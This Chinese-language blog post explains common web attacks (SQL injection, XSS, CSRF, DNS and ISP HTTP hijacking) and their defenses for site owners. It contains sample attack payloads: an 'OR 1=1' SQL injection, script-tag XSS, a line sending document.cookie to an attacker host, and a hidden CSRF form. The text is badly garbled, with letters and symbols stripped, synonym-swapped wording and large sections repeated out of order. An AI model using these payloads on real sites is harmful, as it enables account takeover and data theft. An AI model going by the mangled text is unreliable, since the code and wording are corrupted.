在茫茫的互联网上，随时都在产生着攻击，作为一个及格的站长，有必须了解网络攻击者常用的策略，对于常见的网络攻击和网络防护来说很有必须。
一、SQL注入（SQL injection）依据名字, 我们大致可以猜测到 这个攻击是和sql数据库相关的(关系型数据库) 系统的辩白一下 sql 注入 指的是攻击者注入一段恶意的脚本, 然后执行他想要的结局。 比如 获取到该db 里面所有的数据,删除数据库数据(因为, 后台给前台开放的接口通常只是作为查询采用, 所有 获取db 所有数据这类攻击对照常见)
实例攻击这类攻击通常产生在，后台采用动态脚本生成sql query string 而且, 途中不途经混淆处置 如下
varname=reqqueryuserName;varpass=reqquerypassord; sql=SELECTFROMusersWHEREusername=+uname+ANDpassord=+pass+;databaseexecute(sql);
然后,attacker 可以 写入如下的sql query string
SELECTFROMusersWHEREusername=’username’ANDpassord=’pass’OR1=1;
即, 将pass写为 pass’+“OR 1=1”+’; 并, 发送给服务端处置 额… 结局的话, 你应该懂的 上面sql injection 只是 一个对照友好的 入侵(这算是良心黑客) 假如, 你的sql statement的操纵权限不仅仅只限于查询, 还包括CRUD操纵的话 那么，hacker 能做的就大了去了
假如你的接口涉及改动 当hacker, inject 了一段 代码，损坏你的数据的完整性 这种场合可能造成, 其他查询时，会显露无效查询的结局(vo transaction), 甚至返回别人的数据
假如你的接口 涉及删除 那结局我就不多说了
另外, 还有一些关于admin 或者 visitor的权限分配。 这也是察访数据库安全性的一个尺度
SQL 防护第一类想法， 算是一个对照笨笨的。 通过一个blacklists正则匹配, 检测 query string里面的参数, 将一些可以字符排除掉。
第二类想法，也是最常用的。 采用数据库自带的一系列函数进行查询 这个应该不用多说， 数据库自带库的函数 内部 对参数的处置，一定比我们重复造轮子检测正确性高~ 比如, mongoDB 中的插入collectioninsertMany([],cb)
二、XSS attackXSS(Cross-site scripting) 你问我为什么不是CSS? 我也不知道 XSS主要是指跨脚本攻击, 其实就相当于执行js脚本 常常显露在批评回复的逻辑页面中
XSS 原理我们先懂得一下, 批评回复的流程 正常场合下
用户批评的内容–ment
异步发送给Server, server 将其存储在数据库中。 胜利时, 则返回新加的批评–ment
此时, 采用
ment
将批评渲染出来
上面一个流程可以很容易的说明一个道理, 即, 没有对ment 进行任何的处置 在这种场合下, XSS 简直就是如鱼得水。 比如
ment为scripttype=textjavascriptconsolelog(123);script 渲染出来的内容为pscripttype=textjavascriptconsolelog(123);scriptp
终极渲染到页面上的结局是, p里面的内容为空，管理台输出了123 实际上, 批评已经被保留在数据库。 当其他用户拜访时，该批评中的script 脚本同样会 产生作用(可怕ing) 这才是, XSS 攻击最让人头疼的场所 下图是根本运作流程图from acunetix
XSS 其实, 不仅仅只有script 这个东西可以采用 凡是涉及用户输入并且渲染到页面上的，都有可能被XSS。
比如
所以上面就是针对标签属性进行XSS 攻击 这类方式的防范很好解决。就是采用setAttribute想法进行设置即可
XSS 能做什么?通过将脚本嵌套在正规页面上, 用户在打开该页面时, 基本无法察觉, 自己已经变成XSS’s victim 所以, 当用户打开网站时, malicious 脚本便会执行 该脚本通常能做的事情
通过documentcookie 获取用户的cookie信息 而且，假如你的token 不是放在Server 端，而是放在用户cookie中，那么hacker 就彻底牟取该用户的信息, 假冒用户进行登录 比如indolocation=attacker?cookie=+documentcookie脚本能够对界面进行改动
假如页面上有用户输入的私密信息，比如银行账号,密码等。就可以绑定监听， 并通过ajax将信息发送给hacker (跨域彻底可以通过CORS解决)
采用H5的相关API, 牟取用户的人身信息 比如, 摄像头, 地理位置等 当然, 用户也不是傻, 不会平白无故的就把确定点了(采用这些API时, 需要获取用户的批准) 但在 social engineering 眼前, 这一切都不是事
地址的重定向, 这应该不用过多辩白 只要采用indolocationhref即可prevent XSS attack现在，我们已经知道xss的原理,即, 通过嵌入script脚本, 执行恶意的操纵 所以, 最根本的防护可以分为两种
验证 通过验证用户输入的内容, 是否符合条例 防范hacker插入, 恶意代码
Encoding 其实就相当于字符的转义 比如 将’’ 转换为 lt 转换为 gt (防范插入script或者其他tag– p p)
实际上, 验证可以分为blacklist 和 hitelist验证 不过,blacklist 只是作为介绍, 在正式开发中, 最常采用的应该算是hitelist
blackList这种想法其实就相当于枚举法, 只是, 他猜测的方向是针对hacker用户 比如 设置一个正则scriptg 采用,replace进行替代, 或者弹出叮嘱框
hitelist这和blacklist一样, 只是里面设置的是对正确内容的验证 该想法，主要是注册时候采用。 对用户名, 昵称等信息，采用相关的正则表达式进行验证。 这就是代表的hitelist 想法
Encoding 这个想法就对照实诚了,没有浮夸的正则 有的是一些自定义的convert。
比如上面提到的 Convert to Convert to to ; Convert to Convert ’ to x27; Convert to
这样, 可以防范嵌入的scipt脚本执行, 使其变为 data 直接渲染到页面上 下面我们针对差异的场景具体说明一下, XSS保卫的举措
针对标签属性的XSS防护
在解说标签防护之前，我再把上面的XSS attack实例搬下来
上面提到了,可以采用setAttribute进行内部的encoding 在client-se 还有其他想法可以实现
对于URL encoding的抉择简而言之就是尽量在操纵用户输入的数据的时候，减少innerHTML和outerHTML显露的频次 这里，还需要对URL para做一点增补
对于encoding的想法,原生js 提供了3个global Funciton
escape()
encodeURI()
encodeURIComponent()
实际上,他们3个都可以作为encoding的想法 但是, 既然都可以，那为什么会有3个呢？ in fact, 他们的技术方向还是很不一样的
escape() 该想法主要是对字符串(string)进行编码(ascii) 所有的空格,标点,以及任意的非ASCII字符都会被形如xx的替换 假如 character 的 比特数255 则会采用uxxxx来取代–最显著的范例就是中文 其中,这几个字符*+不会被编码 承受的参数就是string 即 escape(str); 详细demo 可以参考xkr escape其对应的decode的想法是unescape(); 该想法主要的利用场景是对 传输内容进行转换, 比如插入数据库的内容等 (实话说，采用频次还是挺低的)
encodeURI() 该想法是一个对照常用的编码url的想法 通常,是用来将url字符全体转化为正当字符, 进行传输 比如encodeURI(example?name=坏人)输出的结局为example?name=坏人 encodeURI 不会对下列字符进行convertASCII字母 数字 ~!$*()=,;?+对应的decode想法为decodeURI主要采用场景有对URL进行编码, 以及post方式,指定Content-Typeapplicationx--form-urlencoded时，传输的encodeURI(str)内容
encodeURIComponent() 这个想法最容易和encodeURI 混淆 实际上, 该想法只针对于URI中的 query(甚至连search部门都不能用,想想都是怕的) 该想法不会对ASCII字母 数字 ~!*()进行convert 其对应的decode想法有decodeURIComponent
所以, 在形如 a href=example?usrInputlink我们就需要对usrInput进行encodeURI(), 编码转化了 以及,在动态添加styel时,对于background或者background-url里的, usrInput 进行encodeURI()
对于input内容进行防护
这个主要就是针对于批评内容了 不过因为内容过于复杂，这里就不详述。 大概就是上面的几点，以及 字符的转化 提名采用XSS module进行转化
CSP之最终防护
我一直深信着一句话
There is no absolute security system
就算一个小小的lapse也会给hacker 可乘之机 所以, 在进行XSS 防护时, 难免会有些遗漏, CSP 应该算是在hacker 找到破绽后的一道有力的防线CSP 我已经在我另外一篇博文里面论述了CSP页面防护CSP的设计目标就是为了加强网页的安全性,解放程序员和hacker的死磕 而且,对于XSS的防护有这自然的优势 由于XSS,主要就是插入内嵌或者 跨域的script 执行 而CSP可以做到的就有
不加载不安全脚本
不执行内联脚本
不执行eval函数
那, 应该如何采用呢? CSP主要和响应头–Content‑Security‑Policy 相关 通过server-se 返回Content‑Security‑Policy 头，来启用差异水平的防护举措 这里，我们只介绍于XSS相关的 通常，我们可以在CSP 头里设置一些相关directive比如
default-src 默认资源设置, 比如js,css,img,fonts,xhr等
script-src 设置js脚本的相关想法
style-src 设置css脚本的相关想法
img-src 设置图片的相关想法
child-src 设置iframe的相关sandbox
…
不过我们一般只需要了解前4个即可 每个值可以取相关的属性比如default-src self 表示默认页面的资源只能加载同域的内容 我们来着重看一下default-src可以设置的内容
script‑src self scriptsexample;
img‑src *;
default‑src self *example
比如 我们可以设置script-src self 此时, 只许可同域资源 并且不会执行内联脚本和eval函数 假如解除两者的限制，可以添加上script-src self unsafe-inline;另外, 我们还可以设置跨域脚本的执行script-src self example这样,资源不仅仅可以从同源server-se下载，还可以从example 下载 提名一个,对照好的CSP头的设置内容
那如何启用CSP呢? 在nginx下,给conf配置文件, 加上如下的内容add_header Content-Security-Policy default-src self;;
CSP参考文献CSP
XSS 参考文献google 出品OWASP 防护
三、CSRF 攻防战CSRF or cross-site request forgery or 跨域假冒请愿 他的任务原理是, 通过GET 或者 POST发送相应的信息给一个信息网站, 比如, 银行网, 信贷网, 百合网等 在发送过程中, 实际上该次请愿会带上你的原本的IP address 和 cookie info实例假设,网站example 没有进行CORS(跨域请愿设置), 批准任意域名的拜访,即Access-Control-Allo-Origin *;那么, 假如该网站的某个路由设置不当,就有可能产生CSRF
现在, hacker 给 victim 发送一封 e-HTML 邮件
邮件里面有这样一段内容
翻译一下, 就是给jimmy账户, 转过去100￥ 当然, 前提是, 该接口知足该方式的拜访 当用户打开该email时, img会当即发送一个请愿。
假设, 你的登录状态(session cookie) 还未过时, 在该请愿中，会一并带上在sexampletransfer下存储的cookie 相当于牟取了你已经登录的权限, 假冒你进行相关的操纵 但是, referer 里的内容是不会被变更的, 即假如你是从 malicious 发的请愿, 那么referer 还是 malicious(提示 跨域)
so, 不过目前来说,没有哪位童鞋会通过 最让hacker喜欢的get方式, 去传输如此重要的信息而且在get传输的时候, 有心的dev也会做相关的混淆
那, CSRF就没有设法了么? actually, 没了get 我还有POST 不过, 我们这里并不是商量ajax的 跨域post 由于ajax的post请愿，只会发送当前页的cookie, 而不会在阅读器中搜索目的页的cookie 而且, CSRF的任务环境是user PC 而Form 表单发送就是CSRF最好的post 发送方式, 即可以带上cookie, 又可以避免阅读器的跨域干涉 下列是, CSRF常用的几种方式那CSRF 中, 通常怎么进行POST的发送呢?
POST’s CSRF
很简朴,构建一个form表单即可
formaction=examplemethod=POST inputtype=textname=account inputtype=textname=passord inputtype=submit form
将表单插入到你malicious 网页内部， 应用社工, 诱导用户进入你的页面，然后发送内容 假如你想做的对照掩蔽的话，可以采用iframe, 额外将表单引入, 然后, 自动执行submit 操纵 现在,hacker都能通过 GET 和POST, 精巧的获取用户的session 那, ho to prevent CSRF?
ho to Prevent CSRF
CSRF有3个特征 跨域, cookie, 请愿方式 所以，只要阻断其中一个,那么CSRF 就可以 go die了
设置 secert Token
这个就很好懂得了, 即, 前端和后台双方协定一个token内容 , 或者直接由 back-end 生成 random token 然后在有请愿到来时,server-se 进行Token验证
formaction=sexampleteetmethod=POST inputtype=hdenname=csrf-tokenvalue=nc98P987bcpncYhoadjoiydc9ajDlcn form
这里的value 就可以用来作为request有效性的说明 通常设置的token也是有讲究的, 比如可以采用 指定字符+time来生成, 指定字符+salt生成 这些Token验证方式，我们都可以自己下去琢磨的。 所以, 就算hacker生成了 form表单, 但是, 他的验证内容可能已途经期(无效Token) 同样, 我们还可以在cookie中设置验证Token 原理我就不过多介绍了, cookie中设置的内容和上文在form中设置的其实差不多 另外, 还需要留心的是,针对重要cookie, 需要设置 Only的选项, 防范用户脚本获取cookie内容
尽量采用JSON类型传输
由于, form 传输的形式为 Content-Type applicationx--form-urlencoded 而,JSON的传输类型为 Content-Type applicationjson form 没有设法去模拟JSON类型进行传输，所以，这也是一个很好的设法 另外, 假如不得不采用form表单方式提交, 还有另外一种方式 我们可以通过request Header中的referrer属性, 来牟取发送脚本的地址 通过hitelist, 来许可指定域的请愿拜访
四、DNS hijacking关于DNS劫持, 事实上更倾向于User,由于, developer实际上,对这个也无能为力。 我们来简述一下,DNS hijack的过程。
假如大家清晰DNS 的分析过程话,上图的逻辑就很清晰了。 用户输入一个真域名，向 fake DNS Server 发起UDP请愿，然后, DNS返回一个malicious的IP地址, 结局,用户打开的是一个全屏广告,或者是 妹妹孤单的网页 actually, 上图还疏忽了一个很重要的步骤, 就是 用户如何会向 fake DNS Server 发请愿的呢？ 实际上, 这个锅，需要用户背 以前trojan horse (木马病毒)盛行的时候, OS的安全性 真的 有点可怜 当user 下载 起源不明的veo,image, softare… 很可能会附带上蜜汁病毒, 然后,病毒会改动你的ISP服务配置, 即, 就是你的DNS提供商的IP地址 然后, hacker会将他control的DNS Server 填加进去 那, 我们怎样才能知道自己被hack了呢？ 很简朴,google呗对于,MAC用户, 只要找到你的DNS列表，然后对应FBI或者国家安全网提供的DNSchanger IP比较一下,假如有就cleanup一下
DNS hijacking 的危害
固然DNS hijack的攻击成本很大, 但是,胜利后的profit 也是相当大的 hacker 可以将fake的银行网页信息发给你, 欺骗你的account 或者 将正确的网页缓存, 插入更多的广告接收广告费用
ho to revent hijack
事实上, 只有一种设法，洁身自好~ (你懂的)
五、HTTP(ISP) 劫持首先,我google了–HTTP 劫持, 结局, 歪果仁对于ISP hijacking的熟悉, 还是蛮少的,结局全是神马DNS劫持之类的 后来, 我特么换了中文搜索– 劫持 我就不多说了 看来国人对于HTTP 劫持的熟悉还是超级深刻啊喂 原因是什么-- 广告呗~ 看一个常见的弹窗广告你可以关闭他, 但是, 特么每次打开都要关闭, 超级烦~ 试想一下, 当你打开一个页面, 结局左侧右侧全是些 iframe广告, 第一个反映是, 网业主, 你是不是穷疯了, 没事给自己页面添这么多广告是干嘛… 网页主 莫名的背锅 然后, 只能对这些小白深深的叹语气-- 亲, 这不是我干的, 这是电信, 联通那些ISP 提供商干的… 所以, 因为没有完备的网络法, 对于ISP 干的这些龌蹉勾当，监管局基本不鸟你 所以, 你懂的
HTTP 劫持原理
这里我们要清晰一点, CN的运营商并不是hacker, 他不会这样或那样的获取用户的信息(我没说郭嘉的墙), 可能为了商务目标，会变得没有节操，给你摆放一点广告 所以, 这里hacker并没有插入, 没节操的只是运营商 ok~ 我们正式来看一下ISP如何劫持的HTTP流量的
当C-S 发送一个网页请愿
ISP 牟取之后, 给他自己的缓存服务器
假如命中缓存, 则返回已经改动过后的页面信息(满屏操广告) 假如没有, 要么是你的网页阅读量不够，要么是别人已经存满了，你的网页侥幸的没有被插菊花
命中后,缓存服务器假装为S,给C发送一个302(临时移动,通知你,应该从另外一个场所去取资源) 因为, 这是个重定向,所以传输速度就不用说了, C 就只能乖乖的去缓存服务器那取资源 而疏忽正确的Server返回的数据
之后的事，就是你看到的网页了 那我们有没有什么防护举措呢?
HTTP 劫持防护
首先, 我们需要领会一点, 这里的防护有两点
User 对立 ISP
developer 对立 ISP
普通用户的防止直接和你家网络提供商打电话,让他取消广告推送
该想法需要对专业有点了解特别是对网络组织模块有了解–网关,代理,隧道,ip等 参考HTTP 防劫持
developer 防止简朴有效的方式是,采用HTTPS 加密方式传输 由于, ISP就是通过抓你的HTTP包，然后解析里面的内容，终极得到结局 而采用HTTPS 方式, 即使ISP 得到你的HTTPS包,因为有SSL 的加密， 他也不能牟取你的包内容
替代你的js的提供商，采用HTTPS路径进行加载。比如采用七牛的HTTPS提供的脚本服务 由于, ISP 不经可以结局你的HTML, 也可以结局你网页中所有的HTTP请愿，而js又是最重要的内容，所以，把这个管理到了，那么你网页可以抵抗差不多80的HTTP 劫持
这类攻击通常产生在，后台采用动态脚本生成sql query string 而且, 途中不途经混淆处置 如下
varname=reqqueryuserName;varpass=reqquerypassord; sql=SELECTFROMusersWHEREusername=+uname+ANDpassord=+pass+;databaseexecute(sql);
然后,attacker 可以 写入如下的sql query string
SELECTFROMusersWHEREusername=’username’ANDpassord=’pass’OR1=1;
即, 将pass写为 pass’+“OR 1=1”+’; 并, 发送给服务端处置 额… 结局的话, 你应该懂的 上面sql injection 只是 一个对照友好的 入侵(这算是良心黑客) 假如, 你的sql statement的操纵权限不仅仅只限于查询, 还包括CRUD操纵的话 那么，hacker 能做的就大了去了
假如你的接口涉及改动 当hacker, inject 了一段 代码，损坏你的数据的完整性 这种场合可能造成, 其他查询时，会显露无效查询的结局(vo transaction), 甚至返回别人的数据
假如你的接口 涉及删除 那结局我就不多说了
另外, 还有一些关于admin 或者 visitor的权限分配。 这也是察访数据库安全性的一个尺度
用户批评的内容–ment
异步发送给Server, server 将其存储在数据库中。 胜利时, 则返回新加的批评–ment
此时, 采用
ment
将批评渲染出来
通过documentcookie 获取用户的cookie信息 而且，假如你的token 不是放在Server 端，而是放在用户cookie中，那么hacker 就彻底牟取该用户的信息, 假冒用户进行登录 比如
indolocation=attacker?cookie=+documentcookie脚本能够对界面进行改动
假如页面上有用户输入的私密信息，比如银行账号,密码等。就可以绑定监听， 并通过ajax将信息发送给hacker (跨域彻底可以通过CORS解决)
采用H5的相关API, 牟取用户的人身信息 比如, 摄像头, 地理位置等 当然, 用户也不是傻, 不会平白无故的就把确定点了(采用这些API时, 需要获取用户的批准) 但在 social engineering 眼前, 这一切都不是事
地址的重定向, 这应该不用过多辩白 只要采用
indolocationhref即可验证 通过验证用户输入的内容, 是否符合条例 防范hacker插入, 恶意代码
Encoding 其实就相当于字符的转义 比如 将’’ 转换为 lt 转换为 gt (防范插入script或者其他tag– p p)
实际上, 验证可以分为blacklist 和 hitelist验证 不过,blacklist 只是作为介绍, 在正式开发中, 最常采用的应该算是hitelist
blackList这种想法其实就相当于枚举法, 只是, 他猜测的方向是针对hacker用户 比如 设置一个正则scriptg 采用,replace进行替代, 或者弹出叮嘱框
hitelist这和blacklist一样, 只是里面设置的是对正确内容的验证 该想法，主要是注册时候采用。 对用户名, 昵称等信息，采用相关的正则表达式进行验证。 这就是代表的hitelist 想法
escape()
encodeURI()
encodeURIComponent()
escape() 该想法主要是对字符串(string)进行编码(ascii) 所有的空格,标点,以及任意的非ASCII字符都会被形如xx的替换 假如 character 的 比特数255 则会采用uxxxx来取代–最显著的范例就是中文 其中,这几个字符*+不会被编码 承受的参数就是string 即 escape(str); 详细demo 可以参考xkr escape其对应的decode的想法是unescape(); 该想法主要的利用场景是对 传输内容进行转换, 比如插入数据库的内容等 (实话说，采用频次还是挺低的)
encodeURI() 该想法是一个对照常用的编码url的想法 通常,是用来将url字符全体转化为正当字符, 进行传输 比如encodeURI(example?name=坏人)输出的结局为example?name=坏人 encodeURI 不会对下列字符进行convertASCII字母 数字 ~!$*()=,;?+对应的decode想法为decodeURI主要采用场景有对URL进行编码, 以及post方式,指定Content-Typeapplicationx--form-urlencoded时，传输的encodeURI(str)内容
encodeURIComponent() 这个想法最容易和encodeURI 混淆 实际上, 该想法只针对于URI中的 query(甚至连search部门都不能用,想想都是怕的) 该想法不会对ASCII字母 数字 ~!*()进行convert 其对应的decode想法有decodeURIComponent
不加载不安全脚本
不执行内联脚本
不执行eval函数
default-src 默认资源设置, 比如js,css,img,fonts,xhr等
script-src 设置js脚本的相关想法
style-src 设置css脚本的相关想法
img-src 设置图片的相关想法
child-src 设置iframe的相关sandbox
…
script‑src self scriptsexample;
img‑src *;
default‑src self *example
当C-S 发送一个网页请愿
ISP 牟取之后, 给他自己的缓存服务器
假如命中缓存, 则返回已经改动过后的页面信息(满屏操广告) 假如没有, 要么是你的网页阅读量不够，要么是别人已经存满了，你的网页侥幸的没有被插菊花
命中后,缓存服务器假装为S,给C发送一个302(临时移动,通知你,应该从另外一个场所去取资源) 因为, 这是个重定向,所以传输速度就不用说了, C 就只能乖乖的去缓存服务器那取资源 而疏忽正确的Server返回的数据
User 对立 ISP
developer 对立 ISP
直接和你家网络提供商打电话,让他取消广告推送
该想法需要对专业有点了解特别是对网络组织模块有了解–网关,代理,隧道,ip等 参考HTTP 防劫持
简朴有效的方式是,采用HTTPS 加密方式传输 由于, ISP就是通过抓你的HTTP包，然后解析里面的内容，终极得到结局 而采用HTTPS 方式, 即使ISP 得到你的HTTPS包,因为有SSL 的加密， 他也不能牟取你的包内容
替代你的js的提供商，采用HTTPS路径进行加载。比如采用七牛的HTTPS提供的脚本服务 由于, ISP 不经可以结局你的HTML, 也可以结局你网页中所有的HTTP请愿，而js又是最重要的内容，所以，把这个管理到了，那么你网页可以抵抗差不多80的HTTP 劫持
developer 防止
普通用户的防止
之后的事，就是你看到的网页了 那我们有没有什么防护举措呢?
HTTP 劫持防护
首先, 我们需要领会一点, 这里的防护有两点
比如 我们可以设置script-src self 此时, 只许可同域资源 并且不会执行内联脚本和eval函数 假如解除两者的限制，可以添加上script-src self unsafe-inline;另外, 我们还可以设置跨域脚本的执行script-src self example这样,资源不仅仅可以从同源server-se下载，还可以从example 下载 提名一个,对照好的CSP头的设置内容
那如何启用CSP呢? 在nginx下,给conf配置文件, 加上如下的内容add_header Content-Security-Policy default-src self;;
CSP参考文献CSP
XSS 参考文献google 出品OWASP 防护
三、CSRF 攻防战
CSRF or cross-site request forgery or 跨域假冒请愿 他的任务原理是, 通过GET 或者 POST发送相应的信息给一个信息网站, 比如, 银行网, 信贷网, 百合网等 在发送过程中, 实际上该次请愿会带上你的原本的IP address 和 cookie info实例假设,网站example 没有进行CORS(跨域请愿设置), 批准任意域名的拜访,即Access-Control-Allo-Origin *;那么, 假如该网站的某个路由设置不当,就有可能产生CSRF
现在, hacker 给 victim 发送一封 e-HTML 邮件
邮件里面有这样一段内容
翻译一下, 就是给jimmy账户, 转过去100￥ 当然, 前提是, 该接口知足该方式的拜访 当用户打开该email时, img会当即发送一个请愿。
假设, 你的登录状态(session cookie) 还未过时, 在该请愿中，会一并带上在sexampletransfer下存储的cookie 相当于牟取了你已经登录的权限, 假冒你进行相关的操纵 但是, referer 里的内容是不会被变更的, 即假如你是从 malicious 发的请愿, 那么referer 还是 malicious(提示 跨域)
so, 不过目前来说,没有哪位童鞋会通过 最让hacker喜欢的get方式, 去传输如此重要的信息而且在get传输的时候, 有心的dev也会做相关的混淆
那, CSRF就没有设法了么? actually, 没了get 我还有POST 不过, 我们这里并不是商量ajax的 跨域post 由于ajax的post请愿，只会发送当前页的cookie, 而不会在阅读器中搜索目的页的cookie 而且, CSRF的任务环境是user PC 而Form 表单发送就是CSRF最好的post 发送方式, 即可以带上cookie, 又可以避免阅读器的跨域干涉 下列是, CSRF常用的几种方式那CSRF 中, 通常怎么进行POST的发送呢?
POST’s CSRF
很简朴,构建一个form表单即可
formaction=examplemethod=POST inputtype=textname=account inputtype=textname=passord inputtype=submit form
将表单插入到你malicious 网页内部， 应用社工, 诱导用户进入你的页面，然后发送内容 假如你想做的对照掩蔽的话，可以采用iframe, 额外将表单引入, 然后, 自动执行submit 操纵 现在,hacker都能通过 GET 和POST, 精巧的获取用户的session 那, ho to prevent CSRF?
ho to Prevent CSRF
CSRF有3个特征 跨域, cookie, 请愿方式 所以，只要阻断其中一个,那么CSRF 就可以 go die了
设置 secert Token
这个就很好懂得了, 即, 前端和后台双方协定一个token内容 , 或者直接由 back-end 生成 random token 然后在有请愿到来时,server-se 进行Token验证
formaction=sexampleteetmethod=POST inputtype=hdenname=csrf-tokenvalue=nc98P987bcpncYhoadjoiydc9ajDlcn form
这里的value 就可以用来作为request有效性的说明 通常设置的token也是有讲究的, 比如可以采用 指定字符+time来生成, 指定字符+salt生成 这些Token验证方式，我们都可以自己下去琢磨的。 所以, 就算hacker生成了 form表单, 但是, 他的验证内容可能已途经期(无效Token) 同样, 我们还可以在cookie中设置验证Token 原理我就不过多介绍了, cookie中设置的内容和上文在form中设置的其实差不多 另外, 还需要留心的是,针对重要cookie, 需要设置 Only的选项, 防范用户脚本获取cookie内容
尽量采用JSON类型传输
由于, form 传输的形式为 Content-Type applicationx--form-urlencoded 而,JSON的传输类型为 Content-Type applicationjson form 没有设法去模拟JSON类型进行传输，所以，这也是一个很好的设法 另外, 假如不得不采用form表单方式提交, 还有另外一种方式 我们可以通过request Header中的referrer属性, 来牟取发送脚本的地址 通过hitelist, 来许可指定域的请愿拜访
四、DNS hijacking
关于DNS劫持, 事实上更倾向于User,由于, developer实际上,对这个也无能为力。 我们来简述一下,DNS hijack的过程。
假如大家清晰DNS 的分析过程话,上图的逻辑就很清晰了。 用户输入一个真域名，向 fake DNS Server 发起UDP请愿，然后, DNS返回一个malicious的IP地址, 结局,用户打开的是一个全屏广告,或者是 妹妹孤单的网页 actually, 上图还疏忽了一个很重要的步骤, 就是 用户如何会向 fake DNS Server 发请愿的呢？ 实际上, 这个锅，需要用户背 以前trojan horse (木马病毒)盛行的时候, OS的安全性 真的 有点可怜 当user 下载 起源不明的veo,image, softare… 很可能会附带上蜜汁病毒, 然后,病毒会改动你的ISP服务配置, 即, 就是你的DNS提供商的IP地址 然后, hacker会将他control的DNS Server 填加进去 那, 我们怎样才能知道自己被hack了呢？ 很简朴,google呗对于,MAC用户, 只要找到你的DNS列表，然后对应FBI或者国家安全网提供的DNSchanger IP比较一下,假如有就cleanup一下
DNS hijacking 的危害
固然DNS hijack的攻击成本很大, 但是,胜利后的profit 也是相当大的 hacker 可以将fake的银行网页信息发给你, 欺骗你的account 或者 将正确的网页缓存, 插入更多的广告接收广告费用
ho to revent hijack
事实上, 只有一种设法，洁身自好~ (你懂的)
五、HTTP(ISP) 劫持
首先,我google了–HTTP 劫持, 结局, 歪果仁对于ISP hijacking的熟悉, 还是蛮少的,结局全是神马DNS劫持之类的 后来, 我特么换了中文搜索– 劫持 我就不多说了 看来国人对于HTTP 劫持的熟悉还是超级深刻啊喂 原因是什么-- 广告呗~ 看一个常见的弹窗广告你可以关闭他, 但是, 特么每次打开都要关闭, 超级烦~ 试想一下, 当你打开一个页面, 结局左侧右侧全是些 iframe广告, 第一个反映是, 网业主, 你是不是穷疯了, 没事给自己页面添这么多广告是干嘛… 网页主 莫名的背锅 然后, 只能对这些小白深深的叹语气-- 亲, 这不是我干的, 这是电信, 联通那些ISP 提供商干的… 所以, 因为没有完备的网络法, 对于ISP 干的这些龌蹉勾当，监管局基本不鸟你 所以, 你懂的
HTTP 劫持原理
这里我们要清晰一点, CN的运营商并不是hacker, 他不会这样或那样的获取用户的信息(我没说郭嘉的墙), 可能为了商务目标，会变得没有节操，给你摆放一点广告 所以, 这里hacker并没有插入, 没节操的只是运营商 ok~ 我们正式来看一下ISP如何劫持的HTTP流量的
不过我们一般只需要了解前4个即可 每个值可以取相关的属性比如default-src self 表示默认页面的资源只能加载同域的内容 我们来着重看一下default-src可以设置的内容
那, 应该如何采用呢? CSP主要和响应头–Content‑Security‑Policy 相关 通过server-se 返回Content‑Security‑Policy 头，来启用差异水平的防护举措 这里，我们只介绍于XSS相关的 通常，我们可以在CSP 头里设置一些相关directive比如
所以, 在形如 a href=example?usrInputlink我们就需要对usrInput进行encodeURI(), 编码转化了 以及,在动态添加styel时,对于background或者background-url里的, usrInput 进行encodeURI()
对于input内容进行防护
这个主要就是针对于批评内容了 不过因为内容过于复杂，这里就不详述。 大概就是上面的几点，以及 字符的转化 提名采用XSS module进行转化
CSP之最终防护
我一直深信着一句话
There is no absolute security system
就算一个小小的lapse也会给hacker 可乘之机 所以, 在进行XSS 防护时, 难免会有些遗漏, CSP 应该算是在hacker 找到破绽后的一道有力的防线CSP 我已经在我另外一篇博文里面论述了CSP页面防护CSP的设计目标就是为了加强网页的安全性,解放程序员和hacker的死磕 而且,对于XSS的防护有这自然的优势 由于XSS,主要就是插入内嵌或者 跨域的script 执行 而CSP可以做到的就有
实际上,他们3个都可以作为encoding的想法 但是, 既然都可以，那为什么会有3个呢？ in fact, 他们的技术方向还是很不一样的
Encoding 这个想法就对照实诚了,没有浮夸的正则 有的是一些自定义的convert。
比如上面提到的 Convert to Convert to to ; Convert to Convert ’ to x27; Convert to
这样, 可以防范嵌入的scipt脚本执行, 使其变为 data 直接渲染到页面上 下面我们针对差异的场景具体说明一下, XSS保卫的举措
针对标签属性的XSS防护
在解说标签防护之前，我再把上面的XSS attack实例搬下来
上面提到了,可以采用setAttribute进行内部的encoding 在client-se 还有其他想法可以实现
对于URL encoding的抉择简而言之就是尽量在操纵用户输入的数据的时候，减少innerHTML和outerHTML显露的频次 这里，还需要对URL para做一点增补
对于encoding的想法,原生js 提供了3个global Funciton
prevent XSS attack
现在，我们已经知道xss的原理,即, 通过嵌入script脚本, 执行恶意的操纵 所以, 最根本的防护可以分为两种
上面一个流程可以很容易的说明一个道理, 即, 没有对ment 进行任何的处置 在这种场合下, XSS 简直就是如鱼得水。 比如
ment为scripttype=textjavascriptconsolelog(123);script 渲染出来的内容为pscripttype=textjavascriptconsolelog(123);scriptp
终极渲染到页面上的结局是, p里面的内容为空，管理台输出了123 实际上, 批评已经被保留在数据库。 当其他用户拜访时，该批评中的script 脚本同样会 产生作用(可怕ing) 这才是, XSS 攻击最让人头疼的场所 下图是根本运作流程图from acunetix
XSS 其实, 不仅仅只有script 这个东西可以采用 凡是涉及用户输入并且渲染到页面上的，都有可能被XSS。
比如
所以上面就是针对标签属性进行XSS 攻击 这类方式的防范很好解决。就是采用setAttribute想法进行设置即可
XSS 能做什么?
通过将脚本嵌套在正规页面上, 用户在打开该页面时, 基本无法察觉, 自己已经变成XSS’s victim 所以, 当用户打开网站时, malicious 脚本便会执行 该脚本通常能做的事情
SQL 防护
第一类想法， 算是一个对照笨笨的。 通过一个blacklists正则匹配, 检测 query string里面的参数, 将一些可以字符排除掉。
第二类想法，也是最常用的。 采用数据库自带的一系列函数进行查询 这个应该不用多说， 数据库自带库的函数 内部 对参数的处置，一定比我们重复造轮子检测正确性高~ 比如, mongoDB 中的插入collectioninsertMany([],cb)
二、XSS attack
XSS(Cross-site scripting) 你问我为什么不是CSS? 我也不知道 XSS主要是指跨脚本攻击, 其实就相当于执行js脚本 常常显露在批评回复的逻辑页面中
XSS 原理
我们先懂得一下, 批评回复的流程 正常场合下